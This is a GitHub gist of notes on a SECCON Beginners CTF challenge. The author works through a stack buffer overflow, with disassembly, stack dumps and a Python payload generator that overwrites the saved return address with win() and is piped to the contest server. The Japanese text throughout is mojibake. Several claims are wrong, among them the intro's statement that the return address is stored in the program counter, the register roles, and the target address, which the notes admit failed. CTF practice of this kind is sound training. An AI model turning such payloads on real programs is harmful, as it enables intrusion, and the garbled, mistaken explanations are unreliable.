้–ขๆ•ฐๅ‘ผใณๅ‡บใ—ๆ™‚ใซใŠใ‘ใ‚‹ๅผ•ๆ•ฐใ‚„ๆˆปใ‚Šๅ…ˆใฎใ‚ขใƒ‰ใƒฌใ‚นใฏใฉใฎใ‚ˆใ†ใชใƒกใƒขใƒชใƒฌใ‚คใ‚ขใ‚ฆใƒˆใซใชใ‚Šใพใ™ใ‹๏ผŸ

้–ขๆ•ฐๅ‘ผใณๅ‡บใ—ๆ™‚ใฎๅผ•ๆ•ฐใ‚„ๆˆปใ‚Šๅ…ˆใฎใ‚ขใƒ‰ใƒฌใ‚นใฎใƒกใƒขใƒชใƒฌใ‚คใ‚ขใ‚ฆใƒˆใฏใ€ใƒ—ใƒฉใƒƒใƒˆใƒ•ใ‚ฉใƒผใƒ ใ‚„ใ‚ขใƒผใ‚ญใƒ†ใ‚ฏใƒใƒฃใซใ‚ˆใฃใฆ็•ฐใชใ‚Šใพใ™ใŒใ€ไธ€่ˆฌ็š„ใชC่จ€่ชžใฎๅ‘ผใณๅ‡บใ—่ฆ็ด„ใซๅŸบใฅใ„ใฆ่ชฌๆ˜Žใ—ใพใ™ใ€‚

C่จ€่ชžใฎไธ€่ˆฌ็š„ใชๅ‘ผใณๅ‡บใ—่ฆ็ด„ใงใฏใ€ไปฅไธ‹ใฎใ‚ˆใ†ใชใƒกใƒขใƒชใƒฌใ‚คใ‚ขใ‚ฆใƒˆใŒไธ€่ˆฌ็š„ใงใ™๏ผˆx86ใ‚ขใƒผใ‚ญใƒ†ใ‚ฏใƒใƒฃใ‚’ไพ‹ใซ่ชฌๆ˜Žใ—ใพใ™๏ผ‰๏ผš

  1. ใ‚นใ‚ฟใƒƒใ‚ฏ้ ˜ๅŸŸ๏ผˆStack Area๏ผ‰:
  • ใ‚นใ‚ฟใƒƒใ‚ฏ้ ˜ๅŸŸใฏ้–ขๆ•ฐๅ‘ผใณๅ‡บใ—ใซใ‚ˆใฃใฆไฝฟ็”จใ•ใ‚Œใ‚‹ใƒญใƒผใ‚ซใƒซๅค‰ๆ•ฐใ‚„ไธ€ๆ™‚็š„ใชใƒ‡ใƒผใ‚ฟใ‚’ๆ ผ็ดใ™ใ‚‹ใŸใ‚ใฎ้ ˜ๅŸŸใงใ™ใ€‚
  • ๅผ•ๆ•ฐใฏ้€šๅธธใ€ใ‚นใ‚ฟใƒƒใ‚ฏ้ ˜ๅŸŸใซใƒ—ใƒƒใ‚ทใƒฅใ•ใ‚Œใพใ™ใ€‚ๅผ•ๆ•ฐใฎ้ †ๅบใ‚„ใƒ—ใƒƒใ‚ทใƒฅใฎๆ–นๆณ•ใฏๅ‘ผใณๅ‡บใ—่ฆ็ด„ใซใ‚ˆใฃใฆ็•ฐใชใ‚Šใพใ™ใŒใ€้€šๅธธใฏๅณใ‹ใ‚‰ๅทฆใฎ้ †ใซใ‚นใ‚ฟใƒƒใ‚ฏใซใƒ—ใƒƒใ‚ทใƒฅใ•ใ‚Œใพใ™ใ€‚
  • ใ‚นใ‚ฟใƒƒใ‚ฏ้ ˜ๅŸŸใซใฏใ‚นใ‚ฟใƒƒใ‚ฏใƒ•ใƒฌใƒผใƒ ใจๅ‘ผใฐใ‚Œใ‚‹ใƒ‡ใƒผใ‚ฟๆง‹้€ ใŒๅญ˜ๅœจใ—ใ€ใ‚นใ‚ฟใƒƒใ‚ฏใƒ•ใƒฌใƒผใƒ ใซใฏๅผ•ๆ•ฐใ€ใƒญใƒผใ‚ซใƒซๅค‰ๆ•ฐใ€ไธ€ๆ™‚็š„ใชใƒ‡ใƒผใ‚ฟใ€ๆˆปใ‚Šๅ…ˆใฎใ‚ขใƒ‰ใƒฌใ‚นใชใฉใŒๆ ผ็ดใ•ใ‚Œใพใ™ใ€‚
  1. ใƒ—ใƒญใ‚ฐใƒฉใƒ ใ‚ซใ‚ฆใƒณใ‚ฟ๏ผˆProgram Counter๏ผ‰:
  • ใƒ—ใƒญใ‚ฐใƒฉใƒ ใ‚ซใ‚ฆใƒณใ‚ฟใฏใ€ๅฎŸ่กŒไธญใฎๅ‘ฝไปคใฎใ‚ขใƒ‰ใƒฌใ‚นใ‚’ๆŒ‡ใ™ใƒฌใ‚ธใ‚นใ‚ฟใงใ™ใ€‚
  • ้–ขๆ•ฐๅ‘ผใณๅ‡บใ—ๆ™‚ใซใฏใ€็พๅœจใฎ้–ขๆ•ฐใฎๆˆปใ‚Šๅ…ˆใฎใ‚ขใƒ‰ใƒฌใ‚นใŒใƒ—ใƒญใ‚ฐใƒฉใƒ ใ‚ซใ‚ฆใƒณใ‚ฟใซไฟๅญ˜ใ•ใ‚Œใพใ™ใ€‚ใ“ใ‚Œใซใ‚ˆใ‚Šใ€้–ขๆ•ฐใŒ็ต‚ไบ†ใ—ใŸๅพŒใซๅˆถๅพกใŒๆˆปใ‚‹ๅ ดๆ‰€ใŒใ‚ใ‹ใ‚Šใพใ™ใ€‚
  1. ใƒ™ใƒผใ‚นใƒใ‚คใƒณใ‚ฟ๏ผˆBase Pointer๏ผ‰:
  • ใƒ™ใƒผใ‚นใƒใ‚คใƒณใ‚ฟใฏใ€ใ‚นใ‚ฟใƒƒใ‚ฏใƒ•ใƒฌใƒผใƒ ๅ†…ใฎใƒญใƒผใ‚ซใƒซๅค‰ๆ•ฐใ‚„ๅผ•ๆ•ฐใธใฎใ‚ขใ‚ฏใ‚ปใ‚นใ‚’ๅฎนๆ˜“ใซใ™ใ‚‹ใŸใ‚ใฎใƒฌใ‚ธใ‚นใ‚ฟใงใ™ใ€‚
  • ใƒ™ใƒผใ‚นใƒใ‚คใƒณใ‚ฟใฏใ€ใ‚นใ‚ฟใƒƒใ‚ฏใƒ•ใƒฌใƒผใƒ ๅ†…ใฎใƒ‡ใƒผใ‚ฟใธใฎ็›ธๅฏพ็š„ใชใ‚ชใƒ•ใ‚ปใƒƒใƒˆใ‚’่จˆ็ฎ—ใ™ใ‚‹ใŸใ‚ใซไฝฟ็”จใ•ใ‚Œใพใ™ใ€‚

ไธŠ่จ˜ใฎใƒกใƒขใƒชใƒฌใ‚คใ‚ขใ‚ฆใƒˆใฏไธ€่ˆฌ็š„ใชใ‚‚ใฎใงใ‚ใ‚Šใ€็‰นๅฎšใฎใƒ—ใƒฉใƒƒใƒˆใƒ•ใ‚ฉใƒผใƒ ใ‚„ใ‚ขใƒผใ‚ญใƒ†ใ‚ฏใƒใƒฃใซใ‚ˆใฃใฆ็ดฐใ‹ใช้•ใ„ใŒใ‚ใ‚‹ใ‹ใ‚‚ใ—ใ‚Œใพใ›ใ‚“ใ€‚็‰นใซใ€็•ฐใชใ‚‹ๅ‘ผใณๅ‡บใ—่ฆ็ด„ใ‚„ใ‚ขใƒผใ‚ญใƒ†ใ‚ฏใƒใƒฃใŒไฝฟ็”จใ•ใ‚Œใ‚‹ๅ ดๅˆใฏใ€ใƒกใƒขใƒชใƒฌใ‚คใ‚ขใ‚ฆใƒˆใŒ็•ฐใชใ‚‹ๅฏ่ƒฝๆ€งใŒใ‚ใ‚Šใพใ™ใ€‚ใ—ใŸใŒใฃใฆใ€็‰นๅฎšใฎใƒ—ใƒฉใƒƒใƒˆใƒ•ใ‚ฉใƒผใƒ ใ‚„ใ‚ขใƒผใ‚ญใƒ†ใ‚ฏใƒใƒฃใฎๅ‘ผใณๅ‡บใ—่ฆ็ด„ใ‚„ใƒกใƒขใƒชใƒฌใ‚คใ‚ขใ‚ฆใƒˆใซใคใ„ใฆใฏใ€ใใฎใƒ‰ใ‚ญใƒฅใƒกใƒณใƒˆใ‚„ไป•ๆง˜ใ‚’ๅ‚็…งใ™ใ‚‹ใ“ใจใ‚’ใŠใ™ใ™ใ‚ใ—ใพใ™ใ€‚

@hassaku63
Copy link
Copy Markdown
Author

hassaku63 commented Jun 4, 2023

Stack buffer ใ‚’็”จใ„ใ‚‹ใจใ—ใฆ่ฉฑใ‚’้€ฒใ‚ใ‚‹ใ€‚

ใพใšใฏไป•็ต„ใฟใ‚’็Ÿฅใ‚‰ใชใ„ใจใฉใ†ใ—ใ‚ˆใ†ใ‚‚ใชใ„ใฎใงใ€ใ€Œๆˆปใ‚Šๅ…ˆใฎใ‚ขใƒ‰ใƒฌใ‚นใ€ใ‚’ใฉใ“ใงๆŒ‡ๅฎšใ™ใ‚‹ใฎใ‹่ชฟในใ‚‹ใ€‚

__show_stack() ใ‚’่ฆ‹ใคใคใชใ‚“ใจใชใๆƒณๅƒใ—ใฆใฟใ‚‹

[Addr]             | [Value]            
====================+===================
 0x00007fffffffe220 | 0x00007ffff7fbf2e8  <- buf
 0x00007fffffffe228 | 0x0000555555555500 
 0x00007fffffffe230 | 0x0000000000000000 
 0x00007fffffffe238 | 0x0000555555555120 
 0x00007fffffffe240 | 0x00007fffffffe340 
 0x00007fffffffe248 | xxxxx hidden xxxxx  <- canary
 0x00007fffffffe250 | 0x0000000000000000  <- saved rbp
 0x00007fffffffe258 | 0x00007ffff7df2083  <- saved ret addr
 0x00007fffffffe260 | 0x00007ffff7ffc620 
 0x00007fffffffe268 | 0x00007fffffffe348 

่‡ชๅˆ†ใฎใ‚คใƒกใƒผใ‚ธใฏใ“ใ‚Œใ€‚

ๅ‡บๅ…ธ: https://courses.engr.illinois.edu/cs225/fa2022/resources/stack-heap/

ไปŠๅ›žไป‹ๅ…ฅใงใใ‚‹ใฎใฏใƒญใƒผใ‚ซใƒซๅค‰ๆ•ฐใชใฎใงใ‚นใ‚ฟใƒƒใ‚ฏ้ ˜ๅŸŸใฎ่ฉฑใ€ใจๆƒณๅƒใ—ใฆใ„ใ‚‹ใ€‚

ใƒฌใ‚ธใ‚นใ‚ฟใฎ่ชฌๆ˜Žใ‚’่ฆ‹ใฆใฟใ‚‹: https://www.mztn.org/lxasm64/amd04.html
ใ•ใฃใใฎ่ชฒ้กŒใงไฝฟใฃใŸ radare2 ใฎๅ‡บๅŠ›ใชใฉใ‚‚่ฆ‹ใฆใฟใ‚‹ใจใ€ใŠใใ‚‰ใไธป่ฆใƒฌใ‚ธใ‚นใ‚ฟใฏใ“ใ‚“ใชๆ„Ÿใ˜๏ผŸ

  • RAX, RBX, RCX, RDX ... ๆฑŽ็”จ
  • RSI, RDI ... ใ‚ขใƒ‰ใƒฌใ‚น็ณปๅ…ฅใฃใฆใ‚‹ใ“ใจใŒๅคšใ„๏ผŸ
  • RBP ... ๅคšๅˆ†ใ€ๅผ•ๆ•ฐใ‚’ใ‚นใ‚ฟใƒƒใ‚ฏใซ็ฉใ‚€ๆ™‚ใฎใ‚ขใƒ‰ใƒฌใ‚น...?
  • RSP ... ๆˆปใ‚Šๅ…ˆใฃใฝใ„

RAX ใฏ้–ขๆ•ฐๅ‘ผใณๅ‡บใ—ใฎๆˆปใ‚Šๅ€คใซใชใฃใฆใ„ใใ†ใ€‚
RCX, RDX ใฏ็ฌฌ1, ็ฌฌ2ๅผ•ๆ•ฐใซไฝฟใ‚ใ‚Œใฆใ„ใใ†

main ใงๅฎฃ่จ€ใ•ใ‚Œใฆใ‚‹ใƒญใƒผใ‚ซใƒซๅค‰ๆ•ฐใŒใ“ใ‚Œ

โ”Œ 204: int main (int argc, char **argv, char **envp);
โ”‚           ; var int64_t var_8h @ rbp-0x8
โ”‚           ; var int64_t var_30h @ rbp-0x30

ใ‚ณใƒผใƒ‰ใ‚’่ฆ‹ๆฏ”ในใ‚‹ใจใ€ใ“ใ‚Œใฏ char buf[BUF_SIZE]; ใซๅฏพๅฟœใ—ใฆใ„ใ‚‹ใฏใšใ€‚

__show_stakc() ไป˜่ฟ‘ใฎๆ“ไฝœใŒใ“ใ‚Œใ€‚

โ”‚           0x0040125c      488d45d0       lea rax, [var_30h]
โ”‚           0x00401260      4889c7         mov rdi, rax
โ”‚           0x00401263      e87d000000     call sym.__show_stack

__show_stack() ใซใฏ buf ใฎใƒใ‚คใƒณใ‚ฟใ‚’ๆธกใ—ใฆใ„ใ‚‹ใ“ใจใ‹ใ‚‰ใ€main ใฎ var_30h ใŒ buf ใงใ‚ใ‚‹ใจใ‚ใ‹ใ‚‹ใ€‚

ใ‚„ใฃใฆใ‚‹ใ“ใจใฏ

  1. buf ใฎใ‚ขใƒ‰ใƒฌใ‚นใ‚’ rax ใซใ‚ณใƒ”ใƒผ
  2. rax ใ‚’ rdi ใซใ‚ณใƒ”ใƒผ
  3. __show_stack ๅ‘ผใณๅ‡บใ—

rdi ใŒ็ฌฌไธ€ๅผ•ๆ•ฐใจใ„ใ†ใ“ใจใซใชใ‚Šใใ†ใ€‚ๆˆปใ‚Šๅ€คใŒ rax ใชใฎใฏใชใ‚“ใจใชใไป–ใฎๅฎŸ้จ“ใ‹ใ‚‰่ฆ‹ใˆใฆใ„ใ‚‹ใฎใงใ€ใใ“ใฏๅˆใฃใฆใ„ใ‚‹ใฆใ„ใง่ชญใฟ้€ฒใ‚ใ‚‹ใ€‚

ๆฌกใซ __show_stack()

[0x004012e5]> pdf
            ; CALL XREFS from main @ 0x401218(x), 0x401263(x), 0x4012a2(x)
โ”Œ 411: sym.__show_stack (int64_t arg1);
โ”‚           ; arg int64_t arg1 @ rdi
โ”‚           ; var int64_t var_8h @ rbp-0x8
โ”‚           ; var int64_t var_ch @ rbp-0xc
โ”‚           ; var int64_t var_18h @ rbp-0x18
โ”‚           0x004012e5      f30f1efa       endbr64
โ”‚           0x004012e9      55             push rbp
โ”‚           0x004012ea      4889e5         mov rbp, rsp
โ”‚           0x004012ed      4883ec20       sub rsp, 0x20
โ”‚           0x004012f1      48897de8       mov qword [*ptr], rdi    ; arg1

ใƒญใƒผใ‚ซใƒซๅค‰ๆ•ฐใฏๅฎฃ่จ€้ †ใฎ้€†้ †ใซไธฆใถใฎใงใ€ๆœ€ๅˆใซๅฎฃ่จ€ใ•ใ‚Œใฆใ‚‹ unsigned long *ptr = stack; ใฏ var int64_t var_18h @ rbp-0x18 ใซๅฏพๅฟœ ใ—ใฆใ‚‹ใ‚‰ใ—ใ„ใจใ‚ใ‹ใ‚‹

@hassaku63
Copy link
Copy Markdown
Author

hassaku63 commented Jun 4, 2023

ใƒญใƒผใ‚ซใƒซๅค‰ๆ•ฐใจใ‹ๅผ•ๆ•ฐใŒ Stack ใซ็ฉใพใ‚Œใ‚‹ใฎใฏใ‚คใƒกใƒผใ‚ธใคใ„ใŸใ€‚

ไป–ใซไฝ•ใŒ็ฉใพใ‚Œใฆใ„ใ‚‹ใฎใ‹ใฏ __show_stack() ใฎๅ†…ๅฎนใŒใ„ใฃใŸใ‚“ๅ…จ้ƒจๅ‡บใ—ใฆใใ‚Œใฆใ‚‹ใ‚‚ใฎใจใ—ใฆ่ฆ‹ใฆใ„ใ

่ณ‡ๆ–™ใซใชใ‚Šใใ†ใชใ‚นใƒฉใ‚คใƒ‰ใŒใ‚ใ‚‹ใฎใงใ“ใกใ‚‰ใ‚‚่ฆ‹ๆฏ”ในใ‚‹ใ€‚

https://www.slideshare.net/codeblue_jp/master-canary-forging-by-code-blue-2015#9

[Addr]             | [Value]            
====================+===================
 0x00007fffffffe220 | 0x00007ffff7fbf2e8  <- buf
 0x00007fffffffe228 | 0x0000555555555500 
 0x00007fffffffe230 | 0x0000000000000000 
 0x00007fffffffe238 | 0x0000555555555120 
 0x00007fffffffe240 | 0x00007fffffffe340 
 0x00007fffffffe248 | xxxxx hidden xxxxx  <- canary
 0x00007fffffffe250 | 0x0000000000000000  <- saved rbp
 0x00007fffffffe258 | 0x00007ffff7df2083  <- saved ret addr
 0x00007fffffffe260 | 0x00007ffff7ffc620 
 0x00007fffffffe268 | 0x00007fffffffe348 
  • "canary" ใฏ stack canary
  • "saved rdp" ใฏ framepointer
  • "saved ret addr" ใŒใƒชใ‚ฟใƒผใƒณใ‚ขใƒ‰ใƒฌใ‚น

ใจใ„ใ†่งฃ้‡ˆใซใชใ‚Šใใ†ใ€‚ใ“ใ‚Œใ‚’ canary ใ‚’ๅค‰ๆ›ดใ—ใชใ„ใง(?) "ret addr" ใ ใ‘ win() ใฎใ‚ขใƒ‰ใƒฌใ‚นใซใชใ‚‹ใ‚ˆใ†ไธŠๆ›ธใใ—ใŸใ„ใ€ใจใ„ใ†ใฎใŒใ“ใฎๅ•้กŒใฎใ‚„ใ‚ŠใŸใ„ใ“ใจใซ่ฆ‹ใˆใ‚‹ใ€‚

main ใงใฏ 1 byte x 32 ่ฆ็ด ใฎ buf ใซๅฏพใ—ใฆๆœ€ๅคง 256 byte ใพใงๅ…ฅๅŠ›ใ‚’่จฑใ—ใฆใ„ใ‚‹ใฎใงใ€ๅๅˆ†ใซ ret addr ใ‚’ๆ›ธใๆ›ใˆใ‚‹ใ ใ‘ใฎๅ…ฅๅŠ›ใ‚’ๅ—ใ‘ไป˜ใ‘ใ‚‰ใ‚Œใ‚‹ใ‚ˆใ†ใซ่ฆ‹ใˆใ‚‹ใ€‚

@hassaku63
Copy link
Copy Markdown
Author

ใƒชใ‚ฟใƒผใƒณใ‚ขใƒ‰ใƒฌใ‚นใฎๆ›ธใๆ›ใˆใซใฏใ€

  • buf = 32 byte
  • (?) = 8 byte
  • canary = 8 byte
  • saved rbp = 8 byte
  • saved ret addr = 8 byte

ใŒๅฟ…่ฆใ€‚

56 byte ใ‚’้ฉๅฝ“ใซๅŸ‹ใ‚ใฆใ€ๆฌกใฎ 8 byte ใซใƒชใ‚ฟใƒผใƒณใ‚ขใƒ‰ใƒฌใ‚นใ‚’ไธŠๆ›ธใใ™ใ‚‹ๅฟ…่ฆใŒใ‚ใ‚‹

win() ใฎใ‚ทใƒณใƒœใƒซใฏใ“ใ†ใชใ‚‹ใ€‚

nth paddr      vaddr      bind   type   size lib name                                   demangled
โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•
64  0x000012c2 0x004012c2 GLOBAL FUNC   35       win  ; ๅ…ƒใฎใƒใ‚คใƒŠใƒช
67  0x000012eb 0x000012eb GLOBAL FUNC   35       win  ; ubuntu ไธŠใงๅ†ใ‚ณใƒณใƒ‘ใ‚คใƒซใ—ใŸๅ ดๅˆ

ๅ…ƒใฎใƒใ‚คใƒŠใƒชใฎใ‚ขใƒ‰ใƒฌใ‚น = 0x004012c2 ใ‚’ๆฑบใ‚ๆ‰“ใกใง่กŒใฃใฆใฟใ‚‹

 [Addr]             | [Value]            
====================+===================
 0x00007fffc6475a70 | 0x00007fb47812c2e8  <- buf
 0x00007fffc6475a78 | 0x00000000004014e0 
 0x00007fffc6475a80 | 0x0000000000000000 
 0x00007fffc6475a88 | 0x0000000000401110 
 0x00007fffc6475a90 | 0x00007fffc6475b90 
 0x00007fffc6475a98 | xxxxx hidden xxxxx  <- canary
 0x00007fffc6475aa0 | 0x0000000000000000  <- saved rbp
 0x00007fffc6475aa8 | 0x00007fb477f5f083  <- saved ret addr
 0x00007fffc6475ab0 | 0x00007fb478165620 
 0x00007fffc6475ab8 | 0x00007fffc6475b98 

What's your name? 1234
Hello, 1234

 [Addr]             | [Value]            
====================+===================
 0x00007fffc6475a70 | 0x00007f0a34333231  <- buf
 0x00007fffc6475a78 | 0x00000000004014e0 
 0x00007fffc6475a80 | 0x0000000000000000 
 0x00007fffc6475a88 | 0x0000000000401110 
 0x00007fffc6475a90 | 0x00007fffc6475b90 
 0x00007fffc6475a98 | xxxxx hidden xxxxx  <- canary
 0x00007fffc6475aa0 | 0x0000000000000000  <- saved rbp
 0x00007fffc6475aa8 | 0x00007fb477f5f083  <- saved ret addr
 0x00007fffc6475ab0 | 0x00007fb478165620 
 0x00007fffc6475ab8 | 0x00007fffc6475b98 

ใจใ€ใƒชใƒˆใƒซใ‚จใƒณใƒ‡ใ‚ฃใ‚ขใƒณ๏ผˆใงใ‚ใฃใฆใ‚‹๏ผŸ๏ผ‰ใงๅ…ฅใฃใฆใ„ใๆง˜ๅญใŒ่ฆ‹ใˆใ‚‹

56 byte ใ‚’้ฉๅฝ“ใซๅŸ‹ใ‚ใฆใ€ๆฌกใฎ 8 byte ใซใƒชใ‚ฟใƒผใƒณใ‚ขใƒ‰ใƒฌใ‚นใ‚’ไธŠๆ›ธใใ™ใ‚‹ๅฟ…่ฆใŒใ‚ใ‚‹

0x000012c2 ใ‚’ๅŸ‹ใ‚ใ‚‹ใŸใ‚ใซใฏ

[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xc2] ใ“ใ‚Œใ‚’้€†้ †ใ—ใฆไธฆในใ‚‹ใจ่‰ฏใ•ใใ†?

@hassaku63
Copy link
Copy Markdown
Author

hassaku63 commented Jun 4, 2023

้›‘ใซใƒใ‚คใƒŠใƒช็”Ÿๆˆๆ›ธใ„ใฆใฟใŸใ€‚

# gen.py
base = [0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37]

data = []

# buf
data.append(base)
data.append(base)
data.append(base)
data.append(base)
# ?
data.append(base)
# canary
data.append(base)
# frame pointer
#data.append(base)
# saved rbp
# data.append(base)
data.append([0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])


addr = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xc2]
addr.reverse()

data.append(addr)

with open('data', 'wb') as fp:
    for item in data:
        fp.write(bytes(item))

โ€ป __show_stack() ใฎๅ‡บๅŠ›่ฆ‹ใชใŒใ‚‰้ฉๅฝ“ใซใ‚ณใƒกใƒณใƒˆๅ…ฅใ‚ŒใŸใ‚Šใ—ใฆใ‚‹ใฎใงโ†‘ใฎใ‚ณใƒผใƒ‰ใฏใพใ‚ๅฝ“ใฆใšใฃใฝใ†

python gen.py
$ cat data | nc rewriter2.beginners.seccon.games 9001

 [Addr]             | [Value]            
====================+===================
 0x00007fffaf6ed2e0 | 0x00007fb81acfd2e8  <- buf
 0x00007fffaf6ed2e8 | 0x00000000004014e0 
 0x00007fffaf6ed2f0 | 0x0000000000000000 
 0x00007fffaf6ed2f8 | 0x0000000000401110 
 0x00007fffaf6ed300 | 0x00007fffaf6ed400 
 0x00007fffaf6ed308 | xxxxx hidden xxxxx  <- canary
 0x00007fffaf6ed310 | 0x0000000000000000  <- saved rbp
 0x00007fffaf6ed318 | 0x00007fb81ab30083  <- saved ret addr
 0x00007fffaf6ed320 | 0x00007fb81ad2f620 
 0x00007fffaf6ed328 | 0x00007fffaf6ed408 

What's your name? Hello, 012345670123456701234567012345670123456701234567

 [Addr]             | [Value]            
====================+===================
 0x00007fffaf6ed2e0 | 0x3736353433323130  <- buf
 0x00007fffaf6ed2e8 | 0x3736353433323130 
 0x00007fffaf6ed2f0 | 0x3736353433323130 
 0x00007fffaf6ed2f8 | 0x3736353433323130 
 0x00007fffaf6ed300 | 0x3736353433323130 
 0x00007fffaf6ed308 | xxxxx hidden xxxxx  <- canary
 0x00007fffaf6ed310 | 0x0000000000000000  <- saved rbp
 0x00007fffaf6ed318 | 0x00000000000012c2  <- saved ret addr
 0x00007fffaf6ed320 | 0x00007fb81ad2f620 
 0x00007fffaf6ed328 | 0x00007fffaf6ed408 

How old are you? 

"How old are you? " ใฏ้ฉๅฝ“ใซๅ…ฅๅŠ›ใ—ใฆใฟใŸใ€‚ใŒใ€ๅˆถๅพกใŒๆˆปใฃใฆใ“ใชใ„

@hassaku63
Copy link
Copy Markdown
Author

โ†‘ๅˆถๅพกใŒๆˆปใฃใฆใ“ใชใ„ใจใ„ใ†ใ“ใจใฏ

0x00000000000012c2 ใจใ„ใ†ๆŒ‡ๅฎšใฎไป•ๆ–นใŒ่‡ชๅˆ†ใฎๆ„ๅ›ณใจๅใ—ใฆใ„ใ‚‹ใ‹ใ€
ใ‚ใ‚‹ใ„ใฏ canary ใฎๆ›ธใๆ›ใˆใŒๆคœ็Ÿฅใ•ใ‚ŒใŸใ‹ใ€ใ ใจๆ€ใฃใฆใ„ใ‚‹

ใŸใ ใ€canary ใซใคใ„ใฆ่ชฟในใฆใฟใŸๆ„Ÿใ˜ใงใฏใใฎใพใพ็ต‚ไบ†ใ™ใ‚‹ใฃใฝใ„ใ‚ˆใ†ใซใ‚‚่ฆ‹ใˆใ‚‹ใฎใงใŸใถใ‚“ๅ‰่€…ใชใ‚“ใ˜ใ‚ƒใ‹ใชใ‚ใ†ใ‹ใจๆ€ใฃใฆใ„ใ‚‹๏ผˆใ‚ˆใใ‚ใ‹ใฃใฆใ„ใชใ„๏ผ‰

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment